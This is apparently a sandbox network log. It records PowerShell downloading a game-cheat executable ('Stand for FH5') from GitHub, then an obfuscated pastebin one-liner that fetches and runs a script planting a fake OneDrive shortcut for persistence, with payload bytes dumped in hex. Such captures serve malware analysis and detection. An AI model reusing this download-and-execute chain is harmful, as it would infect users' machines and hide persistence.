2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 18 4c 89 64 24 20 55 41 56 41 57 48 8b ec 48 83 ec 70 48 8b 05 49 4e 00 00 48 33 c4 48 89 45 f0 48 83 3d a2 57 00 00 00 0f 85 ce 04 00 00 0f 57 c9 f3 0f 7f 4d c8 45 33 e4 4c 89 65 d8 c7 45 e0 55 48 89 e5 c7 45 e4 48 83 ec 20 41 8d 54 24 08 48 8d 4d c8 e8 49 0f 00 00 48 8d 7d e0 48 8b 75 d8 48 8b 5d d0 48 3b de 74 0e 0f b6 07 88 03 48 ff c3 48 89 5d d0 eb 17 4c 8b c7 48 8b d3 48 8d 4d c8 e8 3b 0d 00 00 48 8b 75 d8 48 8b 5d d0 48 ff c7 48 8d 45 e8 48 3b f8 75 ca 66 c7 45 e0 48 b8 48 8b 05 ea 56 00 00 48 89 45 e2 48 8b c6 48 2b 45 c8 48 83 f8 0a 73 16 ba 0a 00 00 00 48 8d 4d c8 e8 db 0e 00 00 48 8b 75 d8 48 8b 5d d0 48 8d 7d e0 48 3b de 74 0e 0f b6 07 88 03 48 ff c3 48 89 5d d0 eb 17 4c 8b c7 48 8b d3 48 8d 4d c8 e8 cd 0c 00 00 48 8b 75 d8 48 8b 5d d0 48 ff Data Ascii: Ld$ UAVAWHHpHINH3HEH=WWME3LeEUHEH AT$HMIH}HuH]H;tHH]LHHM;HuH]HHEH;ufEHHVHEHH+EHsHMHuH]H}H;tHH]LHHMHuH]H
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 83 3d 59 52 00 00 00 0f 84 15 04 00 00 48 83 3d 53 52 00 00 00 74 51 48 8b 05 12 49 00 00 48 8b 08 48 8d 45 17 48 89 44 24 20 41 b9 1a 00 00 00 4c 8d 45 27 48 8b 15 f5 51 00 00 48 8b 49 08 ff 15 db 28 00 00 41 b8 1a 00 00 00 48 8d 15 ee 48 00 00 48 8d 4d 27 e8 3c 1d 00 00 85 c0 0f 95 c0 84 c0 0f 85 ba 03 00 00 e8 23 fa ff ff 48 8b 0d dc 51 00 00 48 ff c9 48 23 0d da 51 00 00 48 8b 05 c3 51 00 00 48 8b 14 c8 45 33 f6 4c 89 75 f7 4c 89 75 07 4c 89 75 0f 0f 10 02 0f 11 45 f7 0f 10 4a 10 0f 11 4d 07 4c 89 72 10 48 c7 42 18 0f 00 00 00 44 88 32 48 8b 0d 93 51 00 00 48 ff c9 48 23 0d 91 51 00 00 48 8b 05 7a 51 00 00 48 8b 1c c8 48 8b 53 18 48 83 fa 10 72 30 48 8b 0b 48 ff c2 48 81 fa 00 10 00 00 72 1c 48 83 c2 27 4c 8b 41 f8 49 2b c8 48 8d 41 f8 48 83 f8 1f 0f Data Ascii: =YRH=SRtQHIHHEHD$ ALE'HQHI(AHHHM'<#HQHH#QHQHE3LuLuLuEJMLrHBD2HQHH#QHzQHHSHr0HHHrH'LAI+HAH
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 48 8b cf e8 39 18 00 00 48 8b 15 d7 4c 00 00 48 03 df 48 8b cb 4c 3b fd 77 25 4d 8b c6 e8 1f 18 00 00 4c 8b c5 49 8d 0c 1e 4d 2b c7 33 d2 49 c1 e0 03 e8 99 16 00 00 4d 8b c6 48 8b ce eb 34 48 8d 3c ed 00 00 00 00 4c 8b c7 e8 f2 17 00 00 48 8b 05 90 4c 00 00 48 8b ce 49 8d 1c 06 48 8d 14 07 48 2b da 4c 8b c3 e8 d5 17 00 00 48 8d 0c 33 4c 8b c7 33 d2 e8 56 16 00 00 48 8b 0d 65 4c 00 00 4c 8b 74 24 28 48 8b 7c 24 30 48 8b 5c 24 40 48 85 c9 74 35 48 8b 05 52 4c 00 00 48 8d 14 c5 00 00 00 00 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 2a 49 8b c8 e8 dc 0b 00 00 48 01 2d 1d 4c 00 00 48 8b 6c 24 48 4c 8b 7c 24 20 48 89 35 04 4c 00 00 48 8b 74 24 50 48 83 c4 38 c3 ff 15 a4 24 00 00 cc e8 96 d6 ff ff cc e8 10 00 00 00 cc Data Ascii: H9HLHHL;w%MLIM+3IMH4H<LHLHIHH+LH3L3VHeLLt$(H\|$0H\$@Ht5HRLHHrLAH'I+HAHw*IH-LHl$HL\|$ H5LHt$PH8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	185.199.109.133	443	6648	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:12 UTC	196	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com
2024-10-15 16:08:12 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 56320 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "fbd9a681f4acce63a6718a2c29c8db9ab29a56e7e684d03951f580344762e00e" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 37F3:2518BA:975F2A:A51381:670E9369 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 16:08:12 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210100-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1729008493.558934,VS0,VE139 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 24b93079e1e4ea7249ef132f625fdfe099b30646 Expires: Tue, 15 Oct 2024 16:13:12 GMT Source-Age: 0
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 9d f8 f7 ed 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 00 86 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd"0T @ `@@
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 00 0a 28 07 00 00 06 2a a6 02 7b 04 00 00 04 6f 25 00 00 0a 2c 16 02 7b 05 00 00 04 6f 36 00 00 0a 28 37 00 00 0a 28 08 00 00 06 2a 28 09 00 00 06 2a 8e 02 7b 04 00 00 04 6f 25 00 00 0a 2c 15 02 7b 05 00 00 04 6f 36 00 00 0a 28 37 00 00 0a 28 08 00 00 06 2a 46 02 7b 13 00 00 04 6f 38 00 00 0a 28 0c 00 00 06 2a 5a 02 7b 16 00 00 04 6f 36 00 00 0a 28 37 00 00 0a 28 0a 00 00 06 2a 1a 28 0b 00 00 06 2a 7a 03 2c 13 02 7b 01 00 00 04 2c 0b 02 7b 01 00 00 04 6f 31 00 00 0a 02 03 28 39 00 00 0a 2a 00 13 30 05 00 2c 0d 00 00 04 00 00 11 02 73 3a 00 00 0a 7d 01 00 00 04 d0 03 00 00 02 28 3b 00 00 0a 73 3c 00 00 0a 0a 02 73 3d 00 00 0a 7d 02 00 00 04 02 73 3e 00 00 0a 7d 03 00 00 04 02 73 3f 00 00 0a 7d 04 00 00 04 02 73 40 00 00 0a 7d 05 00 00 04 02 73 41 00 00 0a Data Ascii: ({o%,{o6(7(({o%,{o6(7(F{o8(Z{o6(7((z,{,{o1(90,s:}(;s<s=}s>}s?}s@}sA
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 02 7b 07 00 00 04 72 ab 01 00 70 6f 4d 00 00 0a 02 7b 07 00 00 04 20 0d 01 00 00 20 98 00 00 00 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 07 00 00 04 18 6f 50 00 00 0a 02 7b 07 00 00 04 16 6f 5e 00 00 0a 02 7b 07 00 00 04 72 bf 01 00 70 6f 51 00 00 0a 02 7b 15 00 00 04 20 83 00 00 00 1f 73 73 4b 00 00 0a 6f 4c 00 00 0a 02 7b 15 00 00 04 72 c9 01 00 70 6f 4d 00 00 0a 02 7b 15 00 00 04 20 82 00 00 00 1f 17 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 15 00 00 04 1f 0a 6f 50 00 00 0a 02 7b 15 00 00 04 72 db 01 00 70 6f 51 00 00 0a 02 7b 15 00 00 04 17 6f 55 00 00 0a 02 7b 15 00 00 04 02 fe 06 1d 00 00 06 73 56 00 00 0a 6f 5f 00 00 0a 02 7b 16 00 00 04 1c 1f 73 73 4b 00 00 0a 6f 4c 00 00 0a 02 7b 16 00 00 04 1a 8d 44 00 00 01 25 16 20 ff c9 9a 3b 9e 73 58 00 00 0a 6f 59 00 Data Ascii: {rpoM{ sNo{oP{o^{rpoQ{ ssKoL{rpoM{ sNo{oP{rpoQ{oU{sVo_{ssKoL{D% ;sXoY
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 00 0a 02 7b 10 00 00 04 72 af 03 00 70 6f 4d 00 00 0a 02 7b 10 00 00 04 20 ac 00 00 00 1f 31 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 10 00 00 04 1f 0a 6f 50 00 00 0a 02 7b 10 00 00 04 16 6f 5e 00 00 0a 02 7b 10 00 00 04 72 c3 03 00 70 6f 51 00 00 0a 02 7b 11 00 00 04 17 6f 54 00 00 0a 02 7b 11 00 00 04 1c 1f 13 73 4b 00 00 0a 6f 4c 00 00 0a 02 7b 11 00 00 04 72 cd 03 00 70 6f 4d 00 00 0a 02 7b 11 00 00 04 20 9d 00 00 00 1f 11 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 11 00 00 04 16 6f 50 00 00 0a 02 7b 11 00 00 04 72 e7 03 00 70 6f 51 00 00 0a 02 7b 11 00 00 04 17 6f 55 00 00 0a 02 7b 08 00 00 04 02 fe 06 13 00 00 06 73 56 00 00 0a 6f 65 00 00 0a 02 7b 0a 00 00 04 1f 0a 6f 66 00 00 0a 02 7b 0a 00 00 04 02 fe 06 16 00 00 06 73 56 00 00 0a 6f 65 00 00 0a 02 7b 0c 00 Data Ascii: {rpoM{ 1sNo{oP{o^{rpoQ{oT{sKoL{rpoM{ sNo{oP{rpoQ{oU{sVoe{of{sVoe{
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 0f 0c 0a 00 dd 0d 0f 0c 06 00 ee 0b 53 08 0a 00 e3 0b 0f 0c 12 00 bb 05 3a 06 06 00 35 02 53 08 06 00 25 08 d4 00 06 00 30 08 d4 00 0e 00 12 0a c0 07 06 00 77 08 53 08 06 00 86 03 53 08 0a 00 e5 0a 0f 0c 0e 00 c2 03 43 0a 06 00 d9 03 09 0b 06 00 99 03 3b 0b 06 00 1b 0a 5b 0b 06 00 89 09 db 08 0e 00 71 03 c0 07 0e 00 0a 04 c0 07 0e 00 4b 03 c6 08 0a 00 45 08 0f 0c 0a 00 1d 08 0f 0c 06 00 07 06 53 08 06 00 f9 0a 53 08 06 00 60 06 d4 00 06 00 05 03 d4 00 06 00 77 02 d4 00 06 00 36 08 d4 00 06 00 a2 02 53 08 06 00 7f 07 53 08 0a 00 19 08 0f 0c 0e 00 9e 0a c0 07 06 00 13 03 53 08 06 00 ae 02 53 08 0e 00 c0 05 c0 07 0a 00 a9 09 0f 0c 0a 00 14 09 0f 0c 12 00 4f 0d 3a 06 0a 00 40 03 0f 0c 06 00 36 0a 53 08 06 00 48 00 53 08 c7 00 02 09 00 00 77 00 2c 09 00 00 12 Data Ascii: S:5S%0wSSC;[qKESS`w6SSSSO:@6SHSw,
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 55 0d 00 00 01 00 55 0d 00 00 01 00 55 0d 00 00 01 00 80 02 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 30 06 00 00 01 00 00 0b 00 00 01 00 04 0b 00 00 02 00 37 02 00 00 01 00 9b 08 00 00 01 00 7a 05 09 00 ec 0a 01 00 11 00 ec 0a 06 00 19 00 ec 0a 0a 00 29 00 ec 0a 10 00 31 00 ec 0a 10 00 39 Data Ascii: UUU07z)19
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 03 00 04 80 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 65 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 7a 01 3b 01 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 7a 01 0f 0c 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 7a 01 53 08 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 83 01 3a 06 00 00 00 00 00 00 00 00 01 00 00 00 6c 0b 00 00 78 4e 00 00 01 00 00 00 82 0b 00 00 00 00 00 00 00 61 31 00 74 6f 6f 6c 53 74 72 69 70 53 74 61 74 75 73 4c 61 62 65 6c 31 00 66 6c 6f 77 4c 61 79 6f 75 74 50 61 6e 65 6c 31 00 46 6f 72 6d 31 00 73 74 61 74 75 73 53 74 72 69 70 31 00 67 72 6f 75 70 42 6f 78 31 00 49 6e 74 33 32 00 61 32 00 67 72 6f 75 70 42 6f 78 32 00 67 72 6f 75 70 42 6f 78 33 00 53 74 61 6e 64 20 66 6f 72 20 46 48 35 00 3c 4d 6f 64 75 6c 65 3e Data Ascii: ez;zzS:lxNa1toolStripStatusLabel1flowLayoutPanel1Form1statusStrip1groupBox1Int32a2groupBox2groupBox3Stand for FH5<Module>
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 50 72 6f 64 75 63 74 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 70 79 72 69 67 68 74 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 6d 70 61 6e 79 41 74 74 72 69 62 75 74 65 00 52 75 6e 74 69 6d 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 41 74 74 72 69 62 75 74 65 00 67 65 74 5f 56 61 6c 75 65 00 73 65 74 5f 56 61 6c 75 65 00 76 61 6c 75 65 00 53 74 61 6e 64 20 66 6f 72 20 46 48 35 2e 65 78 65 00 67 65 74 5f 53 69 7a 65 00 73 65 74 5f 53 69 7a 65 00 73 65 74 5f 41 75 74 6f 53 69 7a 65 00 73 65 74 5f 43 6c 69 65 6e 74 53 69 7a 65 00 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 00 46 6f 72 6d 31 5f 52 65 73 69 Data Ascii: pilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeget_Valueset_ValuevalueStand for FH5.exeget_Sizeset_Sizeset_AutoSizeset_ClientSizeISupportInitializeForm1_Resi
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 65 72 00 53 79 73 74 65 6d 2e 43 6f 64 65 44 6f 6d 2e 43 6f 6d 70 69 6c 65 72 00 70 61 74 74 65 72 6e 73 63 61 6e 54 69 6d 65 72 00 6d 61 69 6e 6c 6f 6f 70 54 69 6d 65 72 00 70 72 6f 63 65 73 73 57 61 69 74 54 69 6d 65 72 00 70 72 6f 63 65 73 73 53 74 61 72 74 54 69 6d 65 72 00 49 43 6f 6e 74 61 69 6e 65 72 00 67 65 74 53 70 69 6e 53 75 70 65 72 00 73 65 74 5f 55 73 65 56 69 73 75 61 6c 53 74 79 6c 65 42 61 63 6b 43 6f 6c 6f 72 00 67 65 74 5f 43 75 72 73 6f 72 00 53 65 74 53 79 73 74 65 6d 43 75 72 73 6f 72 00 2e 63 74 6f 72 00 2e 63 63 74 6f 72 00 49 6e 74 50 74 72 00 73 74 72 00 68 63 75 72 00 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 00 53 79 73 74 Data Ascii: erSystem.CodeDom.CompilerpatternscanTimermainloopTimerprocessWaitTimerprocessStartTimerIContainergetSpinSuperset_UseVisualStyleBackColorget_CursorSetSystemCursor.ctor.cctorIntPtrstrhcurSystem.DiagnosticsSystem.Runtime.InteropServicesSyst
2024-10-15 16:08:12 UTC	1378	IN	Data Raw: 63 00 72 00 56 00 61 00 6c 00 00 21 66 00 6c 00 6f 00 77 00 4c 00 61 00 79 00 6f 00 75 00 74 00 50 00 61 00 6e 00 65 00 6c 00 31 00 00 13 67 00 72 00 6f 00 75 00 70 00 42 00 6f 00 78 00 31 00 00 09 53 00 65 00 6c 00 66 00 00 11 61 00 64 00 64 00 78 00 70 00 42 00 74 00 6e 00 00 0d 41 00 64 00 64 00 20 00 58 00 50 00 00 11 61 00 64 00 64 00 78 00 70 00 56 00 61 00 6c 00 00 1f 67 00 65 00 74 00 53 00 70 00 69 00 6e 00 53 00 75 00 70 00 65 00 72 00 56 00 61 00 6c 00 00 23 67 00 65 00 74 00 53 00 70 00 69 00 6e 00 52 00 65 00 67 00 75 00 6c 00 61 00 72 00 56 00 61 00 6c 00 00 23 67 00 65 00 74 00 53 00 70 00 69 00 6e 00 52 00 65 00 67 00 75 00 6c 00 61 00 72 00 42 00 74 00 6e 00 00 1d 41 00 64 00 64 00 20 00 57 00 68 00 65 00 65 00 6c 00 73 00 70 00 69 00 6e Data Ascii: crVal!flowLayoutPanel1groupBox1SelfaddxpBtnAdd XPaddxpValgetSpinSuperVal#getSpinRegularVal#getSpinRegularBtnAdd Wheelspin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49764	104.20.3.235	443	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:26 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-10-15 16:08:26 UTC	397	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 16:08:26 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 625 Last-Modified: Tue, 15 Oct 2024 15:58:01 GMT Server: cloudflare CF-RAY: 8d31115bbafeeaa4-DFW
2024-10-15 16:08:26 UTC	139	IN	Data Raw: 38 35 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 72 61 77 2e 67 69 22 2b 22 74 68 75 62 22 2b 22 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 22 2b 22 6f 6d 2f 4e 65 22 2b 22 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 72 61 79 67 77 69 34 22 2b 22 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 2e 74 78 74 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 85calliT(WINDOWS_NT ("raw.gi"+"thub"+"usercontent.c"+"om/Ne"+"th3N/na9ow3495raygwi4"+"gyrhuawerawera/main/gaber.txt") -usebasicparsing)
2024-10-15 16:08:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49772	185.199.109.133	443	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:27 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 16:08:27 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7508 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "3c1076fda9d7a9f1de3ceb011a6f68a3886388e35b154b66990b49e988bc5cbd" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 47F7:29E79C:808B02:8D3F30:670E7B3C Accept-Ranges: bytes Date: Tue, 15 Oct 2024 16:08:27 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120147-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729008508.672456,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: a517ae11f5430e7c3dbc3b799ef68f49134e885a Expires: Tue, 15 Oct 2024 16:13:27 GMT Source-Age: 207
2024-10-15 16:08:27 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 72 6d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 20 2d 46 6f 72 63 65 0a 73 6c 65 65 70 20 35 0a 0a 0a 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 0a 69 66 20 28 2d 4e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 29 29 20 7b 0a 72 6d 20 24 65 6e 76 3a 74 6d 70 5c 6f 6e 65 64 72 69 76 65 66 69 6c 65 73 79 6e 63 2e 64 6c 6c 20 2d 66 6f 72 63 65 0a 4e 65 77 2d 49 74 65 6d 50 72 6f 70 65 72 74 Data Ascii: sleep 5rm "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemPropert
2024-10-15 16:08:27 UTC	1378	IN	Data Raw: 2c 30 2c 30 2c 37 34 2c 30 2c 39 2c 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 2c 31 33 30 2c 34 32 2c 34 31 2c 38 39 2c 32 30 38 2c 31 38 39 2c 34 36 2c 30 2c 30 2c 30 2c 36 35 2c 32 34 38 2c 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 31 36 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 33 32 2c 31 31 36 2c 32 36 2c 30 2c 31 30 32 2c 30 2c 31 31 31 2c 30 2c 31 31 34 2c 30 2c 31 30 32 2c 30 2c 31 30 35 2c 30 2c 31 30 38 2c 30 2c 31 30 31 2c 30 2c 31 31 35 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 38 36 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 35 32 2c 30 2c 30 2c 30 2c 30 2c Data Ascii: ,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,
2024-10-15 16:08:27 UTC	1378	IN	Data Raw: 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 31 31 36 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 36 39 2c 30 2c 31 32 30 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 31 31 35 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 33 32 2c 30 2c 33 36 2c 30 2c 31 30 31 2c 30 2c 31 31 30 2c 30 2c 31 31 38 2c 30 2c 35 38 2c 30 2c 31 31 31 2c 30 2c 31 31 35 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 38 37 2c 30 2c 31 31 34 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 39 39 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 38 34 2c 30 2c 34 30 2c 30 2c 38 37 2c 30 2c 37 33 2c 30 2c 37 38 2c 30 2c 36 38 2c 30 2c 37 39 2c 30 2c 38 37 2c 30 2c 38 33 2c 30 2c 39 35 2c 30 2c 37 38 2c 30 2c 38 34 2c 30 2c 33 32 2c 30 2c 31 31 32 2c Data Ascii: ,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,
2024-10-15 16:08:27 UTC	1378	IN	Data Raw: 31 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 34 38 2c 30 2c 35 30 2c 30 2c 34 39 2c 30 2c 34 35 2c 30 2c 35 37 2c 30 2c 34 39 2c 30 2c 35 33 2c 30 2c 35 32 2c 30 2c 35 31 2c 30 2c 35 36 2c 30 2c 34 38 2c 30 2c 35 34 2c 30 2c 35 37 2c 30 2c 34 35 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 35 34 2c 30 2c 35 31 2c 30 2c 35 37 2c 30 2c 35 32 2c 30 2c 35 32 2c 30 2c 34 35 2c 30 2c 34 39 2c 30 2c 34 38 2c 30 2c 34 38 2c 30 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 37 37 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 34 38 2c 32 34 31 2c 33 37 2c 31 38 33 2c 32 33 39 2c 37 31 2c 32 36 2c 31 36 2c 31 36 35 2c 32 34 31 2c 32 2c 39 36 2c 31 34 30 2c 31 35 38 2c 32 33 35 2c 31 37 32 2c 34 Data Ascii: 1,0,51,0,50,0,51,0,48,0,50,0,49,0,45,0,57,0,49,0,53,0,52,0,51,0,56,0,48,0,54,0,57,0,45,0,51,0,50,0,50,0,50,0,51,0,54,0,51,0,57,0,52,0,52,0,45,0,49,0,48,0,48,0,49,0,0,0,0,0,0,0,177,0,0,0,49,83,80,83,48,241,37,183,239,71,26,16,165,241,2,96,140,158,235,172,4
